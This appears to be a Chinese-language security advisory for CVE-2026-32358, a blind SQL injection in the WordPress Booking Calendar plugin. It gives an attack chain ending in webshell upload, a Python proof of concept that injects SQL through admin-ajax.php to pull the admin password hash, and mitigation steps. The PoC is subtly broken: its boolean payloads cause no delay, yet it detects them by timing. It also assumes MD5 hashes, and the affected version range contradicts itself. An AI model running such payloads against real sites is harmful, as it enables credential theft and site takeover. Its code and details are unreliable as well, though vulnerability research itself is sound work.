CVE-2026-32358 WordPress Booking Calendar插件盲注SQL注入漏洞

漏洞信息

漏洞编号

CVE-2026-32358

漏洞类型

SQL注入

CVSS评分

7.6 高危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

wpdevelop Booking Calendar (WordPress插件)

漏洞概述

CVE-2026-32358是WordPress Booking Calendar插件中的一个高危安全漏洞，CVSS评分7.6，属于盲注SQL注入（Blind SQL Injection）类型。该漏洞由于在处理SQL命令时未正确过滤特殊元素导致，攻击者可通过构造恶意输入利用此漏洞获取数据库敏感信息。此漏洞影响Booking Calendar插件从某个未知版本开始至10.14.15及以下所有版本。由于是盲注类型，攻击者需要通过观察应用程序的响应时间或行为差异来推断数据库内容，而非直接获取错误信息。漏洞需要高权限认证才能利用，但一旦成功，攻击者可访问数据库中的机密数据，包括用户信息、预订记录等敏感内容。

技术细节

该漏洞属于典型的SQL注入漏洞，攻击者通过在输入参数中注入恶意SQL语句来实现对数据库的非授权访问。由于采用盲注技术，攻击者无法直接获取数据库错误输出，而是通过构造真/假条件的SQL查询，根据应用程序的响应时间或内容差异来逐步推断数据库中的数据。攻击者需要拥有WordPress站点的高权限账户（如管理员或编辑角色）才能利用此漏洞。一旦成功利用，攻击者可提取数据库中的任意数据，包括wp_users表中的用户名和密码哈希值，进而完全控制WordPress站点。漏洞存在于插件的预订功能处理模块中，具体涉及对用户输入数据的不当处理和拼接SQL查询语句。

攻击链分析

STEP 1

信息收集

攻击者识别目标WordPress站点并确认安装了Booking Calendar插件，判断插件版本是否在受影响范围内（<=10.14.15）

STEP 2

权限获取

攻击者获取目标WordPress站点的高权限账户（管理员、编辑或作者权限），可通过社会工程、密码爆破或其他漏洞获取

STEP 3

漏洞探测

使用自动化工具或手工构造SQL注入测试载荷，发送到插件的AJAX处理端点（admin-ajax.php），观察响应差异

STEP 4

数据提取

通过布尔盲注技术，利用二分查找或逐字符猜测方法，逐步提取wp_users表中的用户密码哈希值

STEP 5

密码破解

使用哈希破解工具（如hashcat）对获取的密码哈希进行离线暴力破解或字典攻击

STEP 6

完全控制

使用破解的凭据登录WordPress后台，通过插件编辑器或主题文件管理器上传webshell，实现服务器完全控制

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2026-32358 Blind SQL Injection PoC
# Target: WordPress Booking Calendar Plugin <= 10.14.15
# Type: Boolean-based Blind SQL Injection

import requests
import time

TARGET_URL = "http://target-site.com/wp-admin/admin-ajax.php"
COOKIES = {
    "wordpress_test_cookie": "WP+Cookie+check",
    "wordpress_logged_in_[hash]": "[admin_session_cookie]"
}

def test_blind_sql_injection():
    """Test for blind SQL injection vulnerability"""
    
    # Basic payload - always true condition
    true_payload = {
        "action": "booking_manager",
        "booking_id": "1 AND (SELECT 1 FROM wp_users WHERE 1=1)",
        "sec_hash": "any"
    }
    
    # Payload with false condition
    false_payload = {
        "action": "booking_manager",
        "booking_id": "1 AND (SELECT 1 FROM wp_users WHERE 1=2)",
        "sec_hash": "any"
    }
    
    print("[*] Testing blind SQL injection...")
    
    try:
        start = time.time()
        r1 = requests.post(TARGET_URL, data=true_payload, cookies=COOKIES, timeout=10)
        true_time = time.time() - start
        
        start = time.time()
        r2 = requests.post(TARGET_URL, data=false_payload, cookies=COOKIES, timeout=10)
        false_time = time.time() - start
        
        if true_time > false_time:
            print("[+] Blind SQL Injection vulnerability confirmed!")
            print(f"[+] True condition response time: {true_time}s")
            print(f"[+] False condition response time: {false_time}s")
            return True
        else:
            print("[-] Vulnerability not detected")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False

def extract_admin_hash():
    """Extract admin password hash using blind SQL injection"""
    
    admin_hash = ""
    charset = "0123456789abcdef"
    
    print("[*] Extracting admin password hash...")
    
    for pos in range(1, 33):  # MD5 hash is 32 characters
        for char in charset:
            payload = {
                "action": "booking_manager",
                "booking_id": f"1 AND SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{pos},1)='{char}'",
                "sec_hash": "any"
            }
            
            try:
                start = time.time()
                r = requests.post(TARGET_URL, data=payload, cookies=COOKIES, timeout=10)
                elapsed = time.time() - start
                
                if elapsed > 2:  # True condition triggers delay
                    admin_hash += char
                    print(f"[+] Position {pos}: {char}")
                    break
                    
            except:
                pass
    
    print(f"[+] Admin hash: {admin_hash}")
    return admin_hash

if __name__ == "__main__":
    if test_blind_sql_injection():
        extract_admin_hash()

影响范围

Booking Calendar < 10.14.15

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1) 限制Booking Calendar插件的访问权限，仅允许受信任的管理员使用；2) 在Web服务器层面配置SQL注入防护规则；3) 禁用或限制AJAX端点的访问；4) 加强WordPress后台的认证机制，启用双因素认证；5) 定期备份数据库和文件，以便发生安全事件时能够快速恢复；6) 监控服务器日志，关注异常的SQL查询行为。